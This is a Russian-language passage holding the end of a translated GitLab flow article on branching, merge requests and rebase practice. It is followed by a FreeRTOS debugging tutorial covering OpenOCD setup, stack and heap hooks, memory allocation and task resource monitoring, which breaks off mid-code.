Стабильные (stable) ветки должны создаваться от ветки `master`. Их нужно создавать как можно позже, чтобы минимизировать добавление хотфиксов в несколько веток. После того, как релизная ветка создана, в неё можно включать только исправления серьёзных багов. Следуйте правилу "upstream first": всегда, когда это возможно, сначала делайте мерж исправлений в `master`, и только оттуда — cherry-pick в релизную ветку. Благодаря этому правилу вы не забудете сделать cherry-pick исправлений в `master` и не встретите тот же самый баг в следующем релизе. Правило "upstream first" применяется в том числе в [Google](https://www.chromium.org/chromium-os/chromiumos-design-docs/upstream-first) и [Red Hat](https://www.redhat.com/about/news/archive/2013/5/a-community-for-using-openstack-with-red-hat-rdo). Каждый раз, когда в релизную ветку добавляется исправление бага, нужно повысить третье число в номере версии (по правилам [семантического версионирования](http://semver.org/)). Обозначьте эту версию новым тегом в git. В некоторых проектах используется ветка `stable`, которая всегда указывает на тот же коммит, что и последний релиз. Ветка `production` (или `master` в правилах git flow) в таком случае не нужна.
GitLab flow: мерж/пулл-реквесты
-------------------------------
Мерж-реквест или пулл-реквест создаётся в системе управления git-репозиториями. Это запрос на мерж одной ветки в другую, подобно задаче, назначаемый на какого-либо исполнителя. GitHub и Bitbucket используют термин «пулл-реквевст», потому что первое необходимое действие — сделать пулл предлагаемой ветки. GitLab и Gitorious используют термин «мерж-реквест», потому что заключительное действие — собственно, мерж ветки. Далее в этой статье мы будем называть это мерж-реквестом.
Если вы работаете над веткой больше, чем пару часов, имеет смысл поделиться промежуточным результатом с коллегами через мерж-реквест. Не назначайте его на кого-либо, а просто упомяните (командой `/cc @имя`) ваших коллег в описании реквеста или в комментарии — они получат уведомление. Это будет означать, что реквест не готов к мержу, но по нему уже можно давать обратную связь. Вы можете явным образом обозначить, что работа над реквестом не завершена. Для этого начните заголовок реквеста с `[WIP]` или `WIP:`, то есть "Work in progress". Такой мерж-реквест даже нельзя будет замержить через интерфейс GitLab (хотя по-прежнему можно вручную через git).
Интерфейс GitLab позволяет оставлять комментарии как к реквесту в целом, так и к конкретным строкам кода. Таким образом, мерж-реквест уже включает в себя инструментарий для ревью кода, и какие-то дополнительные инструменты вам не понадобятся. По результатам ревью кто угодно может внести правки следующим коммитом в ту же ветку (обычно это делает автор реквеста). Все последующие коммиты, запушенные в эту же ветку, включаются в мерж-реквест, а дифф обновляется автоматически и корректно работает даже с `push -f`.
Когда фича готова, и ветку можно мержить, назначьте реквест на того, кто хорошо знает код проекта (и у кого есть права на мерж в `master`). Этот человек несёт ответственность за окончательное ревью и принимает решение: замержить результат или закрыть реквест без мержа.
В GitLab есть стандартная практика — «защищать» долгоживущие ветки (такие как `master` или `production`). Защита ветки не позволяет участникам с уровнем доступа "Developer" [пушить в неё любые изменения](http://docs.gitlab.com/ce/permissions/permissions.html).
Поэтому для мержа в защищённую ветку нужно открывать мерж-реквест, назначаемый на участника с более высоким уровнем доступа.
GitLab flow: интеграция с задачами (issues)
-------------------------------------------
GitLab flow позволяет вам явным образом связывать код и задачи из трекера.
Любые значимые изменения в коде должны сопровождаться задачей, в которой сформулированы требования и смысл изменений. Это помогает оставаться в рамках задачи, а также даёт команде представление о том, чем вы заняты. В GitLab каждое изменение кодовой базы начинается c оформления задачи в трекере. Если предполагаемые изменения хоть сколько-нибудь серьёзны (например, требуют более часа работы), то работу нужно начинать с оформления задачи. Многие команды уже следуют этому правилу, потому что всегда оценивают время выполнения задачи, прежде чем взять её в спринт.
Заголовки задач желательно формулировать так, чтобы они описывали желаемое состояние системы.
Хороший пример: «Как администратор, я хочу иметь возможность удалить пользователя без ошибок».
Плохой пример: «Админ не может удалять пользователей».
Приступая к работе над задачей, создайте новую ветку от ветки `master`. Её название должно начинаться с номера тикета, например `42-admin-can-remove-users`.
Когда вы завершили работу над задачей или хотите получить промежуточную обратную связь, открывайте мерж-реквест. Помните о возможности отправить оповещение (`/cc @имя`) коллегам и отметке `WIP:`.
В момент, когда вы считаете, что работа завершена, назначьте реквест на ревьюера и уберите `WIP:`.
Ревьюер может принять (замержить) реквест как через командную строку, так и через кнопку в интерфейсе реквеста. Нажатие на кнопку автоматически создаёт мерж-коммит, описание которого формируется на основе описания реквеста. Мерж-коммит полезен тем, что он сохраняет в истории время и обстоятельства мержа. Поэтому, по умолчанию, коммит создаётся всегда, даже если был возможен "fast-forward merge", когда `master` просто переключается на последний коммит вашей ветки. В git эта стратегия называется "no fast-forward" и используется с командой `git merge --no-ff`. GitLab EE и .com предлагают выбор поведения при мерже, подробности далее в статье.
Feature-ветка обычно больше не нужна после мержа, поэтому интерфейс реквеста позволяет удалить её. Предположим, что ветка была замержена, после чего вы обнаружили какие-то недоработки и переоткрыли задачу. Если старая ветка удалена, можно создать новую ветку с тем же именем и продолжить разработку в ней. Как правило, одной задаче соответствует не более одной ветки, но в одной ветке может решаться несколько задач.
Связывание задач и мерж-реквестов
---------------------------------
В сообщении коммита, либо в описании мерж-реквеста можно упомянуть задачу по её номеру, используя слово-триггер, например: `fixes #14`, `closes #67`. При этом GitLab публикует в упомянутой задаче комментарий с обратной ссылкой на коммит или реквест. А в мерж-реквесте появляется список связанных задач. Когда вы замержите код в основную ветку, связанные задачи будут отмечены как выполненные. Обратите внимание: триггеры распознаются только на английском, то есть `fixes #14` сработает, а `исправляет #14` — нет.
Если вы хотите создать ссылку на задачу, но не закрывать её, напишите просто её номер: "Duck typing is preferred. #12".
Если некоторая задача охватывает несколько репозиториев, лучше всего создать основную задачу в одном репозитории и привязать к ней отдельные задачи в других репозиториях.
Rebase и объединение коммитов
-----------------------------
Git позволяет объединить (squash) несколько коммитов в один или поменять их порядок с помощью команды `rebase -i`. В GitLab EE и .com вы можете [сделать это непосредственно перед мержем](http://docs.gitlab.com/ee/workflow/rebase_before_merge.html) через веб-интерфейс. Это имеет смысл, если в процессе работы вы сделали несколько небольших коммитов, но хотите чтобы в `master` попал один, или если хотите выстроить коммиты в логическом порядке.
Помните, что коммиты, которые уже попали в удалённый репозиторий и, тем более, в стабильную ветку, ребейзить нельзя. Причина этого в том, что-нибудь мог оставить ссылку на них или вытащить (cherry-pick) в свою ветку. Ребейз меняет идентификаторы (SHA-1) коммитов, потому что фактически создаёт из них новые коммиты. В результате ваши изменения появляются в истории git с несколькими разными идентификаторами, что приводит к путанице и ошибкам. Ребейз также затрудняет ревью кода, так как теряется информация о том, какие изменения были внесены после ревью. Если объединяются коммиты разных авторов, то информация об авторстве тоже будет потеряна. Это лишает авторов указания на их авторство, а ещё мешает работе `git blame` (показывает, в каком коммите и кем изменялась каждая строка).
Регулярно делать коммиты и пушить их в удалённый репозиторий — хорошая практика, позволяющая коллегам видеть, над чем вы работаете. Но при таком подходе одна задача размазывается на много коммитов, так что историю разработки становится довольно сложно просматривать. Эти небольшие коммиты можно было бы объединить в один, но это приведёт к потере идентификаторов. Вместо этого можно просматривать историю по мерж-коммитам: они всегда объясняют суть изменения и обозначают момент мержа целой ветки.
Изменения, которые уже попали в `master`, нельзя стирать из истории и не так просто отменить через `git revert`. Если все коммиты были объединены в один с помощью `rebase`, можно применить `revert` к этому единственному коммиту. Однако мы убеждены, что в объединении коммитов больше вреда, чем пользы. К счастью, git умеет [отменять мерж-коммиты](https://git-scm.com/blog/2010/03/02/undoing-merges.html). Если вы передумали и хотите вернуть отменённый мерж-коммит, то применяйте `revert` к коммиту, созданному в результате первого `revert`. Git всё равно не позволит вам замержить один и тот же коммит дважды.
Чтобы это стало возможным, необходимо сначала создать этот мерж-коммит. Поэтому, если вы мержите вручную, добавляйте опцию `--no-ff`. Система управления репозиториями сделает это за вас в момент принятия мерж-реквеста.
Не меняйте порядок коммитов с помощью rebase
--------------------------------------------
Git позволяет вам сделать ребейз feature-ветки на `master`, в результате чего коммиты этой ветки оказываются в истории после коммитов в `master`. Это позволяет сделать мерж без мерж-коммита и в результате у вас получается простая линейная история. Но здесь действует то же правило, что и с объединением коммитов: не трогайте то, что уже попало в удалённый репозиторий. Мы рекомендуем не ребейзить даже промежуточные результаты вашей работы, отданные на ревью через мерж-реквест.
Использование `rebase` [вынуждает вас многократно разрешать одни и те же конфликты](https://blogs.atlassian.com/2013/10/git-team-workflows-merge-or-rebase/). В некоторых случах это можно сделать командой `git rerere` (reuse recorded resolutions). Но ещё проще — вовсе не ребейзить и разрешать конфликты всего один раз, при мерже. Чем с меньшим количеством мерж-конфликтов вы сталкиваетесь — тем лучше.
Чтобы избежать лишних конфликтов, нужно не слишком часто мержить `master` в feature-ветки. Давайте разберём три возможных причины мержа `master` куда-либо ещё: «подтягивание кода» (leveraging code), мерж-конфликты и долгоживущие ветки.
Если вам нужно «подтянуть» изменения из `master` в feature-ветку — обычно можно обойтись вытаскиванием (cherry-pick) одного нужного коммита.
Конфликт при мерже feature-ветки обычно разрешается с помощью создания мерж-коммита. Если строки вашего файла могут находиться в произвольном порядке, то можно избежать некоторых конфликтов с помощью настройки [gitattributes](http://git-scm.com/docs/gitattributes). Например, в файле `.gitattributes` репозитория GitLab есть строка `CHANGELOG merge=union`, и это позволяет мержить список изменений автоматически.
Последняя ситуация, когда необходимо мержить `master` куда-то ещё — это использование долгоживущих веток, которые периодически нужно обновлять до актуального состояния. Мартин Фаулер в [своей статье о feature-ветках](http://martinfowler.com/bliki/FeatureBranch.html) рассуждает о практике непрерывной интеграции (continuous integration, CI). Мы в GitLab немного путаем CI с тестированием веток.
Цитируя Фаулера: "Я знаю людей, которые утверждают, что практикуют CI, потому что выполняют сборку каждой ветки и каждого коммита, и даже могут при этом использовать CI-сервер. То, что они делают, называется непрерывной сборкой (continuous building). Это тоже благородное дело, но интеграции-то нет, а значит, нет и «непрерывной интеграции»."
Решение заключается в том, что feature-ветки должны существовать недолго и быстро мержиться. Можно ориентироваться на срок в один рабочий день. Если разработчик держит ветку для реализации задачи более одного дня, подумайте о том, чтобы раздробить задачу на более мелкие части. В качестве альтернативы можно использовать [«переключатели фич» (feature toggles)](http://martinfowler.com/bliki/FeatureToggle.html).
Для работы с долгоживущими ветками есть две стратегии:
* Стратегия непрерывной интеграции предполагает, что вы мержите `master` в долгоживущую ветку в начале каждого дня,
чтобы предотвратить более сложные мержи в будущем.
* Стратегия «точки синхронизации» (synchronization point strategy) разрешает мержить только строго определённые коммиты,
например отмеченые тегом релизы. Линус Торвальдс [рекомендует именно такой способ](https://www.mail-archive.com/dri-devel@lists.sourceforge.net/msg39091.html), потому что код релизных версий лучше изучен.
GitLab EE предлагает возможность делать rebase непосредственно перед принятием мерж-реквеста. Вы можете включить эту возможность в настройках проекта, выбрав `Merge Requests Rebase`.
Перед принятием мерж-реквеста выберите опцию `rebase before merge`.
GitLab попытается сделать rebase перед мержем. Если rebase без конфликтов невозможен, будет выполнен обычный мерж.
В заключение хотелось бы сказать следующее: старайтесь делать меньше мерж-коммитов, но не исключайте их вовсе. Ваш код должен быть чистым, но его история должна быть достоверной. Разработка ПО происходит небольшими и не всегда красивыми шагами. То, что они сохранятся в истории кода — нормально. А ребейз делает историю недостоверной, после чего никакие инструменты не покажут вам действительную историю, потому что они не могут узнать идентификаторы коммитов, которые были до ребейза.
Используйте эмодзи в задачах и мерж-реквестах
---------------------------------------------
Общепринятая практика — выражать одобрение или неодобрение с помощью кнопок +1 и -1.
В GitLab вы можете использовать эмодзи, чтобы, например, «дать пять» автору хорошей задачи или мерж-реквеста.
Пуш и удаление веток
--------------------
Мы рекомендуем регулярно пушить локальные ветки в удалённый репозиторий, даже если код ещё не готов к ревью. Таким образом вы страхуетесь от ситуации, в которой кто-то другой начал работу над той же задачей. Разумеется, более правильный способ — назначить этой задаче исполнителя с помощью трекера задач. Но иногда этот способ даёт сбой, просто потому что никто об этом не вспомнил.
Когда ветка замержена в `master`, её можно удалить из репозитория. В GitLab и подобных ему системах это можно сделать непосредственно во время мержа. Это гарантирует, что при обзоре веток в системе управления репозиториями, вы увидите только те, над которыми действительно идёт работа. А ещё это освобождает имя и позволяет назвать им новую ветку. Это необходимо, если вы переоткрыли задачу и вам нужна новая ветка и новый мерж-реквест.
Делайте коммиты часто и пишите к ним корректные сообщения
---------------------------------------------------------
Мы рекомендуем начать коммитить код как можно раньше и делать это регулярно. Каждый раз, когда у вас есть работающий набор из кода и тестов к нему, можно сделать коммит. Преимущество этого способа в том, что если следующий этап работы зайдёт в тупик, вы всегда сможете вернуться к рабочей версии кода. Это кардинально отличается от работы с SVN, где код можно коммитить только тогда, когда он полностью готов. Когда ваша работа завершена, используйте мерж/пулл-реквест, чтобы поделиться ей.
Сообщение коммита должно описывать ваши намерения, а не пересказывать содержимое кода — его и так несложно посмотреть. Важно то, зачем вы сделали этот коммит.
Пример хорошего сообщения: «Скобминировать шаблоны, чтобы разгрузить интерфейс пользователя».
Некоторые слова портят сообщение, потому что ничего конкретного не значат: «поменять», «улучшить», «отрефакторить» и т.п. Слова «чинит», «исправляет» тоже лучше не использовать, только если вы не пишете "fix" (только на английском) в конце сообщения и вместе с номером задачи. Если вы хотите больше подробностей, рекомендуем прочитать отличную [статью из блога Tim Pope](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html).
Тестирование перед мержем
-------------------------
В старых моделях рабочего процесса сервер непрерывной интеграции (CI server), как правило, запускал тесты только на ветке `master`. Поэтому разработчикам приходилось нести ответственность за то, чтобы не сломать `master`. В GitLab flow разработчики создают свои ветки от `master`, поэтому её всегда нужно поддерживать «зелёной». Поэтому каждый мерж-реквест нужно тестировать, прежде чем мержить. Инструменты CI, такие как GitLab CI или Travis, умеют показывать результаты сборки (build) непосредственно в мерж-реквесте.
Слабое место этого метода в том, что тестируется ветка, а не результат её мержа. Ошибки могут возникнуть в процессе мержа, поэтому более надёжно тестировать результат. Сложность этого подхода в том, что этот результат меняется каждый раз, когда в `master` попадают новые коммиты. Повторение тестов каждый раз, когда меняется `master`, потребует больших вычислительных ресурсов, так что вы гораздо чаще будете ждать, пока пройдут тесты.
Если ветки мержатся быстро и конфликтов при мерже нет, то обычно можно рискнуть и замержить, не тестируя результат. Если конфликты всё-таки есть, то можно замержить `master` в feature-ветку (т.е. наоборот), после чего ваш сервер CI запустит тесты на полученном коммите. Если feature-ветки живут дольше, чем несколько дней, стоит подумать об уменьшении масштаба ваших фич.
Мерж чужого кода в ваш код
--------------------------
Когда начинаете работу над задачей, всегда создавайте feature-ветку от последнего коммита в `master`. Только если ваша работа требует изменений из определённой ветки, начните с этой ветки. Если впоследствии вам понадобилось замержить другую ветку, обязательно объясните необходимость этого в сообщении мерж-коммита. Пока вы не запушили вашу ветку в общий репозиторий, можно ребейзить её на `master` или другую ветку. Не нужно мержить стабильные ветки в свои feature-ветки, если в этом нет строгой необходимости. Линус Торвальдс вообще [запрещает мержить стабильные ветки в feature-ветки, за исключением крупных релизов](https://lwn.net/Articles/328438/).
Ссылки
------
* [Git Flow, автор Vincent Driessen](http://nvie.com/posts/a-successful-git-branching-model/)
* [Эта статья в блоге GitLab](https://about.gitlab.com/2014/09/29/gitlab-flow/)
Перевод с английского выполнил [nick\_volynkin](https://habrahabr.ru/users/nick_volynkin/) с небольшой помощью переводческой артели «Надмозг и партнеры», <http://nadmosq.ru> | https://habr.com/ru/post/316686/ | null | ru | null |
# Отладка многопоточных программ на базе FreeRTOS
Отладка многозадачных программ дело не простое, особенно если ты сталкиваешься с этим впервые. После того, как прошла радость от запуска первой задачи или первой демо программы, от бесконечно волнительного наблюдения за светодиодами, каждый из которых моргает в своей собственной задаче, наступает время, когда ты осознаешь, что довольно мало понимаешь (~~вообще не врубаешься~~) о том, что на самом деле происходит. Классика жанра: «Я выделил целых 3КБ операционной системе и запустил всего 3 задачи со стеком по 128Б, а на четвертую уже почему-то не хватает памяти» или «А сколько вообще стека я должен выделить задаче? Столько достаточно? А столько?». Многие решают данные задачи путем проб и ошибок, поэтому в этой статье я решила объединить большинство моментов, которые, в настоящее время, значительно упрощают мне жизнь и позволяют более осознанно отлаживать многопоточные программы на базе FreeRTOS.
Данная статья рассчитана, в первую очередь, на тех, кто только недавно начал осваивать FreeRTOS, однако вполне вероятно, что и хорошо знакомые с этой операционной системой читатели найдут для себя здесь что-то интересное. Кроме того, несмотря на то, что статья ориентирована на разработчиков встраиваемого ПО, прикладным программистам она тоже будет интересна, т.к. много слов будет сказано о FreeRTOS как таковой, безотносительно микроконтроллерной романтики.
#### **В данной статье я расскажу о следующих моментах:**
1. [Настройка OpenOCD для работы с FreeRTOS.](#one)
2. [Не забываем включать хуки.](#two)
3. [Статическое или динамическое выделение памяти?](#three)
4. [Сказ, о параметре configMINIMAL\_STACK\_SIZE.](#four)
5. [Мониторинг использования ресурсов.](#five)
### **Настройка OpenOCD для работы с FreeRTOS**
Первое, с чем можно столкнуться при использовании FreeRTOS — это отсутствие какой-либо полезной информации в окне Debug:
Выглядит это максимально грустно. К счастью, OpenOCD поддерживает отладку FreeRTOS, просто его нужно правильно настроить:
1. Добавить в проект файл [FreeRTOS-openocd.c](https://github.com/gnu-mcu-eclipse/openocd/blob/gnu-mcu-eclipse-dev/contrib/rtos-helpers/FreeRTOS-openocd.c)
2. Добавить флаги линкеру (Properties > C/C++ Build > Settings > Cross ARM C++ Linker > Miscellaneous > Other linker flags):
```
-Wl,--undefined=uxTopUsedPriority
```
3. Добавить флаги отладчику (Run > Debugs configurations > Debugger > Config options):
```
-c "$_TARGETNAME configure -rtos auto"
```
4. Снять галочку Run > Debugs configurations > Startup > Set breakpoint at main.
После данных настроек в окне Debug будут отображаться все существующие потоки с детализацией, т.е. нам всегда будет доступна информация о том, в каком состоянии находится тот или иной процесс и чем он в данный момент занят:
### **Не забываем включать хуки**
Если наша программа упала в какой-нибудь hard\_fault\_handler(), то с настройками из предыдущего параграфа, мы сможем понять из какой задачи мы туда попали. Однако мы ничего не узнаем о причинах этого падения.
Например, на картинке выше, мы видим, что ошибка возникла во время выполнения задачи YellowLedTask. Первое, что мы делаем, это в дебаге начинаем шагать строчка за строчкой по бесконечному циклу задачи, чтобы уточнить место падения. Допустим, мы узнали, что программа ломается во время выполнения функции dummy() (*кстати, есть способ сразу понимать, в какой функции мы сломались, об этом можно прочитать [в этой статье](https://www.element14.com/community/message/199113/l/gdb-assisted-debugging-of-hard-faults#199113)*). Мы начинаем проверять тело функции, нет ли там ошибки или опечатки. Проходит час, глаз начинает дергаться, а мы уверены в том, что функция написана корректно так же твердо, как мы уверены в том, что стул на котором мы сидим существует. Так в чем же дело? А дело в том, что возникшая ошибка может не иметь ничего общего с вашей функцией, а проблема заключается именно в работе ОС. И тут нам на помощь приходят хуки.
Во FreeRTOS существуют следующие хуки:
```
/* Hook function related definitions. */
#define configUSE_IDLE_HOOK 0
#define configUSE_TICK_HOOK 0
#define configCHECK_FOR_STACK_OVERFLOW 2
#define configUSE_MALLOC_FAILED_HOOK 1
#define configUSE_DAEMON_TASK_STARTUP_HOOK 0
```
Самыми важными, в рамках отладки программы, являются configCHECK\_FOR\_STACK\_OVERFLOW и configUSE\_MALLOC\_FAILED\_HOOK.
Параметр **configCHECK\_FOR\_STACK\_OVERFLOW** может быть включен значением 1 или 2 в зависимости от того, какой метод детектирования переполнения стека вы хотите использовать. Подробнее об этом можно почитать [здесь](https://www.freertos.org/Stacks-and-stack-overflow-checking.html). Если вы включили этот хук, то вам нужно будет определить функцию
void vApplicationStackOverflowHook(TaskHandle\_t xTask, signed char \*pcTaskName), которая будет выполняться каждый раз, когда выделенного для задачи стека будет не хватать для ее работы, а главное вы будете видеть ее в стеке вызовов конкретной задачи. Таким образом, для решения возникшей проблемы нужно будет лишь увеличить размер стека, выделенный для задачи.
**vApplicationStackOverflowHook**
```
void vApplicationStackOverflowHook(TaskHandle_t xTask, char* pcTaskName)
{
rtos::CriticalSection::Enter();
{
while (true)
{
portNOP();
}
}
rtos::CriticalSection::Exit();
}
```
Парамерт **configUSE\_MALLOC\_FAILED\_HOOK** включается 1, как и большинство конфигурируемых параметров FreeRTOS. Если вы включили этот хук, то вам нужно будет определить функцию void vApplicationMallocFailedHook(). Эта функция будет вызвана тогда, когда свободного места в куче, выделенной для FreeRTOS, окажется недостаточно, для размещения очередной сущности. И, опять же, главное, что мы будем видеть все это в стеке вызовов. Следовательно, все что нам нужно будет сделать для решения данной проблемы — это увеличить размер кучи, выделенной для FreeRTOS.
**vApplicationallocFailedHook**
```
void vApplicationMallocFailedHook()
{
rtos::CriticalSection::Enter();
{
while (true)
{
portNOP();
}
}
rtos::CriticalSection::Exit();
}
```
Теперь, если мы запустим нашу программу еще раз, то при ее падении в hard\_fault\_handler() мы увидем причину этого падения в окне Debug:
Кстати, если вы когда-либо находили интересное применение configUSE\_IDLE\_HOOK, configUSE\_TICK\_HOOK или configUSE\_DAEMON\_TASK\_STARTUP\_HOOK, то было бы очень интересно почитать об этом в комментариях)
### **Статическое или динамическое выделение памяти?**
Итак, мы разобрались с тем, как следить за переполнением стека и кучи во FreeRTOS, а теперь пришло время поговорить о вечном — о памяти.
В этом параграфе мы рассмотрим следующие параметры FreeRTOS:
```
/* Memory allocation related definitions. */
#define configSUPPORT_STATIC_ALLOCATION 0
#define configSUPPORT_DYNAMIC_ALLOCATION 1
#define configTOTAL_HEAP_SIZE 100000
#define configAPPLICATION_ALLOCATED_HEAP 0
```
Во FreeRTOS память для создания задач, семафоров, таймеров и других объектов RTOS может выделяться как статически (configSUPPORT\_STATIC\_ALLOCATION), так и динамически (configSUPPORT\_DYNAMIC\_ALLOCATION). Если вы включаете динамическое выделение памяти, то вам необходимо также указать размер кучи, который может использовать RTOS (configTOTAL\_HEAP\_SIZE). Кроме того, еслы вы хотите, чтобы куча располагалась в каком-то определенном месте, а не автоматически расположена в памяти линкером, то вам необходимо включить параметр configAPPLICATION\_ALLOCATED\_HEAP и определить массив uint8\_t ucHeap[configTOTAL\_HEAP\_SIZE]. И не забывайте, что для динамического выделения памяти, в папку с файлами FreeRTOS нужно добавить файл heap\_1.c, heap\_2.c, heap\_3.c, heap\_4.c или heap\_5.c в зависимости от того, какой вариант менеджера памяти вам больше подходит.
Для того, чтобы оценить, сколько памяти вы можете отдать куче FreeRTOS, после сборки проекта нужно посмотреть на размер секции .bss. Она отображает размер RAM необходимый для хранения всех статических переменных. Например, у меня контроллер с оперативной памятью на 128КБ, я отдала FreeRTOS 50КБ и после сборки проекта секция .bss занимает 62304Б. Это значит, что у меня в проекте статических переменных на 12304 байт + 50000 байт статически выделено для кучи ОС. Нужно помнить, что парочку килобайт нужно захабарить для стека main() и в итоге мы получаем, что кучу FreeRTOS можно еще увеличить на (128000 — 62304 — 2000) байта.
О преимуществах каждого подхода к выделению памяти можно почитать [здесь](https://www.freertos.org/Static_Vs_Dynamic_Memory_Allocation.html), а подробная сравнительная характеристика различных менеджерей памяти представлена [тут](https://www.freertos.org/a00111.html).
Что касается моего мнения, то на данном этапе развития я не вижу смысла в использовании статического выделения памяти, поэтому в приведенном выше конфиге статическое выделение памяти выключено. И вот почему:
1. Зачем самостоятельно выделять буфер для стека и структуру StaticTask\_t, если операционная система поддерживает целых 5 различных менеджерей памяти на любой вкус и цвет, которые сами разберутся где, что и как создать, да еще и сообщат, если у них что-то не получилось? В частности, для большинства программ под микроконтроллеры более чем полностью подходит [heap\_1.c](https://www.freertos.org/a00111.html#heap_1)
2. Вам может понадобиться какая-нибудь сторонняя библиотека, написанная очень оптимально и емко, но использующая внутри себя malloc(), calloc() или new[](). И что же делать? Отказаться от нее в пользу менее оптимальной (это еще если выбор есть)? А можно просто использовать динамическое выделение памяти с [heap\_2.c](https://www.freertos.org/a00111.html#heap_2) или [heap\_4.c](https://www.freertos.org/a00111.html#heap_4). Единственное, что вам нужно будет сделать — это переопределить соответствующие функции, чтобы выделение памяти происходило средствами FreeRTOS в предоставленной ей куче:
**code snippet**
```
void* malloc(size_t size) {
return pvPortMalloc(size);
}
void* calloc(size_t num, size_t size) {
return pvPortMalloc(num * size);
}
void free(void* ptr) {
return vPortFree(ptr);
}
void* operator new(size_t sz) {
return pvPortMalloc(sz);
}
void* operator new[](size_t sz) {
return pvPortMalloc(sz);
}
void operator delete(void* p) {
vPortFree(p);
}
void operator delete[](void* p) {
vPortFree(p);
}
```
В своих проектах я использую только динамическое выделение памяти с heap\_4.c, отдавая под кучу ОС максимально возможный объем памяти, и всегда переопределяю функции malloc(), calloc(), new() и т. д. вне зависимости от того, используются они в настоящий момент или нет.
Ратуя за динамическое выделение памяти, я, разумеется, не отрицаю того, что существуют задачи, для которых идеальным решением является статическое выделение памяти (это, ктати, также можно обсудить в комментариях).
### **Сказ, о параметре configMINIMAL\_STACK\_SIZE**
**Значение параметра configMINIMAL\_STACK\_SIZE исчисляется НЕ в байтах, а в словах! Причем размер слова меняется от одного порта ОС к другому и он определен в файле portmacro.h дефайном portSTACK\_TYPE.** Например, в моем случае, размер слова составляет 4 байта. Таким образом, то, что параметр configMINIMAL\_STACK\_SIZE в моей конфигурации равен 128 означает, что минимальный размер стека для задачи равен 512 байт.
У меня все.
### **Мониторинг использования ресурсов**
Как было бы замечательно иметь ответы на такие вопросы, как:
* Адекватно ли я выбрал размер стека для задачи? Не слишком ли много? А может слишком мало?
* А сколько процессорного времени требуется на исполнение моей задачи?
* А сколько реально кучи, выделенной для ОС, используется? Программа уже на пределе или еще есть, где развернуться?
В данном параграфе я приведу пример того, как можно реализовать простенький мониторинг ресурсов, который поможет получить однозначные ответы на все выше поставленные вопросы.
Во FreeRTOS есть инструментарий, позволяющий на лету собирать статистику использования ресурсов, включающийся следующими параметрами:
```
#define configGENERATE_RUN_TIME_STATS 0
#define configUSE_TRACE_FACILITY 0
#define configUSE_STATS_FORMATTING_FUNCTIONS 0
```
О значении каждого параметра я расскажу чуть дальше, а для начала нам нужно создать задачу, назовем ее MonitorTask, бесконечный цикл которой будет собирать статистику с интервалом config::MonitorTask::SLEEP\_TIME\_MS и отправлять ее в терминал.
После того, как задача создана, нам нужно установить параметр **configUSE\_TRACE\_FACILITY** в 1, после чего нам станет доступна функция:
```
UBaseType_t uxTaskGetSystemState(TaskStatus_t* const pxTaskStatusArray, const UBaseType_t uxArraySize, uint32_t* const pulTotalRunTime)
```
Параметр pxTaskStatusArray должен иметь размер sizeof(TaskStatus\_t) \* uxTaskGetNumberOfTasks(), т.е. он должен быть достаточно большим, чтобы вместить в себя информацию обо всех существующих задачах.
Кстати, о структуре TaskStatus\_t. Какую же информацию относительно каждой задачи мы можем получить? А вот такую:
**TaskStatus\_t**
> typedef struct xTASK\_STATUS
>
> {
>
> /\* The handle of the task to which the rest of the information in the
>
> structure relates. \*/
>
> TaskHandle\_t **xHandle**;
>
>
>
> /\* A pointer to the task's name. This value will be invalid if the task was
>
> deleted since the structure was populated! \*/
>
> const signed char \***pcTaskName**;
>
>
>
> /\* A number unique to the task. \*/
>
> UBaseType\_t **xTaskNumber**;
>
>
>
> /\* The state in which the task existed when the structure was populated. \*/
>
> eTaskState **eCurrentState**;
>
>
>
> /\* The priority at which the task was running (may be inherited) when the
>
> structure was populated. \*/
>
> UBaseType\_t **uxCurrentPriority**;
>
>
>
> /\* The priority to which the task will return if the task's current priority
>
> has been inherited to avoid unbounded priority inversion when obtaining a
>
> mutex. Only valid if configUSE\_MUTEXES is defined as 1 in
>
> FreeRTOSConfig.h. \*/
>
> UBaseType\_t **uxBasePriority**;
>
>
>
> /\* The total run time allocated to the task so far, as defined by the run
>
> time stats clock. Only valid when configGENERATE\_RUN\_TIME\_STATS is
>
> defined as 1 in FreeRTOSConfig.h. \*/
>
> unsigned long **ulRunTimeCounter**;
>
>
>
> /\* Points to the lowest address of the task's stack area. \*/
>
> StackType\_t \***pxStackBase**;
>
>
>
> /\* The minimum amount of stack space that has remained for the task since
>
> the task was created. The closer this value is to zero the closer the task
>
> has come to overflowing its stack. \*/
>
> unsigned short **usStackHighWaterMark**;
>
> } TaskStatus\_t;
>
>
Итак, теперь мы готовы к тому, чтобы описать бесконечный цикл задачи MonitorTask. Он может выглядеть, например, так:
**MonitorTask function**
```
TickType_t delay = rtos::Ticks::MsToTicks(config::MonitorTask::SLEEP_TIME_MS);
while(true)
{
UBaseType_t task_count = uxTaskGetNumberOfTasks();
if (task_count <= config::MonitorTask::MAX_TASKS_MONITOR)
{
unsigned long _total_runtime;
TaskStatus_t _buffer[config::MonitorTask::MAX_TASKS_MONITOR];
task_count = uxTaskGetSystemState(_buffer, task_count, &_total_runtime);
for (int task = 0; task < task_count; task++)
{
_logger.add_str(DEBG, "[DEBG] %20s: %c, %u, %6u, %u",
_buffer[task].pcTaskName,
_task_state_to_char(_buffer[task].eCurrentState),
_buffer[task].uxCurrentPriority,
_buffer[task].usStackHighWaterMark,
_buffer[task].ulRunTimeCounter);
}
_logger.add_str(DEBG, "[DEBG] Current Heap Free Size: %u",
xPortGetFreeHeapSize());
_logger.add_str(DEBG, "[DEBG] Minimal Heap Free Size: %u",
xPortGetMinimumEverFreeHeapSize());
_logger.add_str(DEBG, "[DEBG] Total RunTime: %u ms", _total_runtime);
_logger.add_str(DEBG, "[DEBG] System Uptime: %u ms\r\n",
xTaskGetTickCount() * portTICK_PERIOD_MS);
}
rtos::Thread::Delay(delay);
}
```
Допустим, что в моей программе помимо MonitorTask, есть еще несколько задач с вот такими параметрами, где configMINIMAL\_STACK\_SIZE = 128:
**TasksConfig.h**
```
static constexpr uint32_t MIN_TASK_STACK_SIZE = configMINIMAL_STACK_SIZE;
static constexpr uint32_t MIN_TASK_PRIORITY = 1;
static constexpr uint32_t MAX_TASK_PRIORITY = configMAX_PRIORITIES;
struct LoggerTask {
static constexpr uint32_t STACK_SIZE = MIN_TASK_STACK_SIZE * 2;
static constexpr const char NAME[] = "Logger Task";
static constexpr uint32_t PRIORITY = MIN_TASK_PRIORITY;
static constexpr uint32_t SLEEP_TIME_MS = 100;
};
struct MonitorTask {
